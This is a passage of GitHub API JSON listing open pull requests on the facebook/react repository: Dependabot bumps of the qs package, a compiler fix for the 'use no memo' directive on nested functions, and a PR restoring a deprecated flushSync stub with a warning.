"https://api.github.com/repos/facebook/react/pulls/35437/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35437/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/30335d9588c1ae5bb1cbd973b0d378ac1c445539" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 1, 17355 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35435", "id": 3141064777, "node_id": "PR_kwDOAJy2Ks67ONhJ", "number": 35435, "state": "open", "locked": false, "title": "Bump qs from 6.14.0 to 6.14.1 in /compiler", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [qs](https://github.com/ljharb/qs) from 6.14.0 to 6.14.1.\n
\nChangelog\n

Sourced from qs's changelog.

\n
\n

6.14.1

\n
    \n
  • [Fix] ensure arrayLength applies to [] notation as well
  • \n
  • [Fix] parse: when a custom decoder returns null for a key, ignore that key
  • \n
  • [Refactor] parse: extract key segment splitting helper
  • \n
  • [meta] add threat model
  • \n
  • [actions] add workflow permissions
  • \n
  • [Tests] stringify: increase coverage
  • \n
  • [Dev Deps] update eslint, @ljharb/eslint-config, npmignore, es-value-fixtures, for-each, object-inspect
  • \n
\n
\n
\n
\nCommits\n
    \n
  • 3fa11a5 v6.14.1
  • \n
  • a626704 [Dev Deps] update npmignore
  • \n
  • 3086902 [Fix] ensure arrayLength applies to [] notation as well
  • \n
  • fc7930e [Dev Deps] update eslint, @ljharb/eslint-config
  • \n
  • 0b06aac [Dev Deps] update @ljharb/eslint-config
  • \n
  • 64951f6 [Refactor] parse: extract key segment splitting helper
  • \n
  • e1bd259 [Dev Deps] update @ljharb/eslint-config
  • \n
  • f4b3d39 [eslint] add eslint 9 optional peer dep
  • \n
  • 6e94d95 [Dev Deps] update eslint, @ljharb/eslint-config, npmignore
  • \n
  • 973dc3c [actions] add workflow permissions
  • \n
  • Additional commits viewable in compare view
  • \n
\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=qs&package-manager=npm_and_yarn&previous-version=6.14.0&new-version=6.14.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-01T19:19:44Z", "updated_at": "2026-01-01T19:19:50Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "34df3dd7e0006502c507e5da91104b408c0e3f2c", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/compiler/qs-6.14.1", "ref": "dependabot/npm_and_yarn/compiler/qs-6.14.1", "sha": "858c93873e2ccf6b5cc923ef245a84f169540956", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35435" }, "html": { "href": "https://github.com/facebook/react/pull/35435" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35435" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35435/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35435/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35435/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/858c93873e2ccf6b5cc923ef245a84f169540956" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35433", "id": 3140645809, "node_id": "PR_kwDOAJy2Ks67MnOx", "number": 35433, "state": "open", "locked": false, "title": "[Compiler] Fix 'use no memo' to apply recursively to nested functions", "user": { "login": "sahiee-dev", "id": 156174156, "node_id": "U_kgDOCU8HTA", "avatar_url": "https://avatars.githubusercontent.com/u/156174156?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sahiee-dev", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Fixed bug #35350 where the `'use no memo'` directive did not apply recursively to nested functions with component-like names. This caused runtime hook errors when nested functions were compiled and used as render props (e.g. with react-virtualized).\r\n\r\nThe fix:\r\n1. Track functions that declare `'use no memo'` during traversal\r\n2. Skip compiling nested functions if any ancestor has opted out\r\n3. Allow explicit `'use memo'` on a nested function to override the parent opt-out\r\n\r\nTest Plan:\r\n- Added new compiler fixtures covering nested, deeply nested, arrow function, and explicit opt-in cases\r\n- All existing tests pass with no regressions\r\n\r\nFixes: #35350\r\n\r\n---\r\n\r\n## Summary\r\n\r\nThe React Compiler previously treated `'use no memo'` as applying only to the annotated function. Nested functions with component-like names were still compiled, even when they were intended to be called as plain functions.\r\n\r\nThis caused invalid hook usage at runtime in render prop patterns commonly used by libraries such as react-virtualized.\r\n\r\nThis change makes `'use no memo'` act as a recursive opt-out boundary for nested functions, unless a nested function explicitly opts back in with `'use memo'`.\r\n\r\n---\r\n\r\n## How did you test this change?\r\n\r\nAdded new test fixtures under `compiler/packages/babel-plugin-react-compiler/src/tests/fixtures/compiler/`:\r\n\r\n- `use-no-memo-nested-component.js`\r\n- `use-no-memo-nested-arrow.js`\r\n- `use-no-memo-deeply-nested.js`\r\n- `use-no-memo-nested-with-opt-in.js`\r\n\r\nRan targeted tests:\r\n\r\n```bash\r\nyarn snap -p \"use-no-memo*\"\r\n```\r\n\r\n\r\n## Verification Results\r\n```$ yarn snap```\r\n1832 Tests, 1832 Passed, 0 Failed\r\nDone in 23.93s.", "created_at": "2026-01-01T12:19:36Z", "updated_at": "2026-01-01T15:16:40Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "b5026b23f51ab4f923cf6e4ffa02a2c194201e4a", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "sahiee-dev:fix/use-no-memo-recursive", "ref": "fix/use-no-memo-recursive", "sha": "6a4221920560a6fa397263efde0cf135296a7a1c", "user": { "login": "sahiee-dev", "id": 156174156, "node_id": "U_kgDOCU8HTA", "avatar_url": "https://avatars.githubusercontent.com/u/156174156?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sahiee-dev", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1126207341, "node_id": "R_kgDOQyCPbQ", "name": "react", "full_name": "sahiee-dev/react", "private": false, "owner": { "login": "sahiee-dev", "id": 156174156, "node_id": "U_kgDOCU8HTA", "avatar_url": "https://avatars.githubusercontent.com/u/156174156?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sahiee-dev", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/sahiee-dev/react", "created_at": "2026-01-01T11:40:30Z", "updated_at": "2026-01-01T11:40:30Z", "pushed_at": "2026-01-01T12:10:51Z", "homepage": "https://react.dev", "size": 123581, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35433" }, "html": { "href": "https://github.com/facebook/react/pull/35433" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35433" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35433/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35433/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35433/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/6a4221920560a6fa397263efde0cf135296a7a1c" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35432", "id": 3140530258, "node_id": "PR_kwDOAJy2Ks67MLBS", "number": 35432, "state": "open", "locked": false, "title": "Bump qs from 6.4.0 to 6.4.1 in /fixtures/packaging/webpack/prod", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [qs](https://github.com/ljharb/qs) from 6.4.0 to 6.4.1.\n
\nChangelog\n

Sourced from qs's changelog.

\n
\n

6.4.1

\n
    \n
  • [Fix] parse: ignore __proto__ keys (#428)
  • \n
  • [Fix] fix for an impossible situation: when the formatter is called with a non-string value
  • \n
  • [Fix] use safer-buffer instead of Buffer constructor
  • \n
  • [Fix] utils.merge: avoid a crash with a null target and an array source
  • \n
  • [Fix] utils.merge: avoid a crash with a null target and a truthy non-array source
  • \n
  • [Fix] stringify: fix a crash with strictNullHandling and a custom filter/serializeDate (#279)
  • \n
  • [Fix] utils: merge: fix crash when source is a truthy primitive & no options are provided
  • \n
  • [Fix] when parseArrays is false, properly handle keys ending in []
  • \n
  • [Robustness] stringify: avoid relying on a global undefined (#427)
  • \n
  • [Refactor] use cached Array.isArray
  • \n
  • [Refactor] stringify: Avoid arr = arr.concat(...), push to the existing instance (#269)
  • \n
  • [readme] remove travis badge; add github actions/codecov badges; update URLs
  • \n
  • [Docs] Clarify the need for "arrayLimit" option
  • \n
  • [meta] fix README.md (#399)
  • \n
  • [meta] Clean up license text so it’s properly detected as BSD-3-Clause
  • \n
  • [meta] add FUNDING.yml
  • \n
  • [actions] backport actions from main
  • \n
  • [Tests] remove nonexistent tape option
  • \n
  • [Dev Deps] backport from main
  • \n
\n
\n
\n
\nCommits\n
    \n
  • 486aa46 v6.4.1
  • \n
  • 727ef5d [Fix] parse: ignore __proto__ keys (#428)
  • \n
  • cd1874e [Robustness] stringify: avoid relying on a global undefined (#427)
  • \n
  • 45e987c [readme] remove travis badge; add github actions/codecov badges; update URLs
  • \n
  • 90a3bce [meta] fix README.md (#399)
  • \n
  • 9566d25 [Fix] fix for an impossible situation: when the formatter is called with a no...
  • \n
  • 74227ef Clean up license text so it’s properly detected as BSD-3-Clause
  • \n
  • 35dfb22 [actions] backport actions from main
  • \n
  • 7d4670f [Dev Deps] backport from main
  • \n
  • 0485440 [Fix] use safer-buffer instead of Buffer constructor
  • \n
  • Additional commits viewable in compare view
  • \n
\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=qs&package-manager=npm_and_yarn&previous-version=6.4.0&new-version=6.4.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-01T10:37:07Z", "updated_at": "2026-01-01T10:40:29Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "88c85f718cfd782c147b751c0f77dfe621cd7405", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/fixtures/packaging/webpack/prod/qs-6.4.1", "ref": "dependabot/npm_and_yarn/fixtures/packaging/webpack/prod/qs-6.4.1", "sha": "ea873452055fa5bbe913bf29a690ddfb90781439", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35432" }, "html": { "href": "https://github.com/facebook/react/pull/35432" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35432" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35432/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35432/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35432/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/ea873452055fa5bbe913bf29a690ddfb90781439" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 4, 2, 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35428", "id": 3137667759, "node_id": "PR_kwDOAJy2Ks67BQKv", "number": 35428, "state": "open", "locked": false, "title": "fix: Add deprecation warning for removed flushSync API", "user": { "login": "gabrielfranca95", "id": 57453192, "node_id": "MDQ6VXNlcjU3NDUzMTky", "avatar_url": "https://avatars.githubusercontent.com/u/57453192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gabrielfranca95", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nI am submitting this PR to address issue #35424 regarding the silent removal of `flushSync`. As pointed out in the issue, the renaming of `flushSync` to `flushSyncFromReconciler` in PR #28500 was a breaking change that caused `flushSync` to become `undefined` without warning, breaking custom renderers like `@opentui/react`.\r\n\r\nTo fix this usability issue, I have:\r\n\r\n1. **Re-introduced `flushSync`** as a deprecated stub (placeholder function) in [ReactFiberReconciler.js](cci:7://file:///c:/Users/pc/Documents/contribui%C3%A7%C3%B5es-open-source/react/packages/react-reconciler/src/ReactFiberReconciler.js:0:0-0:0).\r\n2. **Added a runtime warning** that I configured to trigger only when the function is *called* (and only once per session in `__DEV__`).\r\n3. **Provided clear guidance** in the warning message to use `updateContainerSync()` followed by `flushSyncWork()`, as requested in the issue.\r\n\r\nThis ensures that I help existing custom renderer authors receive a helpful error message instead of failing silently with undefined errors.\r\n\r\nCloses #35424\r\n\r\n## How did you test this change?\r\n\r\nI added a new test file: [packages/react-reconciler/src/__tests__/ReactReconcilerFlushSyncDeprecation-test.js](cci:7://file:///c:/Users/pc/Documents/contribui%C3%A7%C3%B5es-open-source/react/packages/react-reconciler/src/__tests__/ReactReconcilerFlushSyncDeprecation-test.js:0:0-0:0) to specifically verify the deprecation logic I implemented.\r\n\r\n**Verification Steps:**\r\n1. **Automated Testing:** I ran the new test via `yarn test ReactReconcilerFlushSyncDeprecation`.\r\n - I verified that `Reconciler.flushSync` is exported as a `function`.\r\n - I verified that calling `flushSync()` emits the expected `console.error` warning.\r\n - I verified that the warning includes the migration instruction: *\"Use `updateContainerSync()` followed by `flushSyncWork()` instead.\"*\r\n2. **Correctness:** I ensured the warning does not fire on module load (import), but only upon execution, preventing noise for users who might import the reconciler but not use this specific method.\r\n\r\n**Test Output:**\r\nPASS packages/react-reconciler/src/__tests__/ReactReconcilerFlushSyncDeprecation-test.js\r\n ReactReconciler flushSync deprecation\r\n ✓ warns when accessing the deprecated flushSync export (172 ms)", "created_at": "2025-12-30T19:48:08Z", "updated_at": "2026-01-09T06:11:50Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "1024d08f6e2346bf0dc8e8675c181fe99ac6e7e3", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "gabrielfranca95:fix/deprecate-flushsync-warning", "ref": "fix/deprecate-flushsync-warning", "sha": "41550dfa40b87296f97ee47d3b3faf93f664328f", "user": { "login": "gabrielfranca95", "id": 57453192, "node_id": "MDQ6VXNlcjU3NDUzMTky", "avatar_url": "https://avatars.githubusercontent.com/u/57453192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gabrielfranca95", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1125431111, "node_id": "R_kgDOQxS3Rw", "name": "react", "full_name": "gabrielfranca95/react", "private": false, "owner": { "login": "gabrielfranca95", "id": 57453192, "node_id": "MDQ6VXNlcjU3NDUzMTky", "avatar_url": "https://avatars.githubusercontent.com/u/57453192?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gabrielfranca95", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/gabrielfranca95/react", "created_at": "2025-12-30T18:01:11Z", "updated_at": "2025-12-30T18:01:11Z", "pushed_at": "2025-12-30T19:13:00Z", "homepage": "https://react.dev", "size": 123517, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" 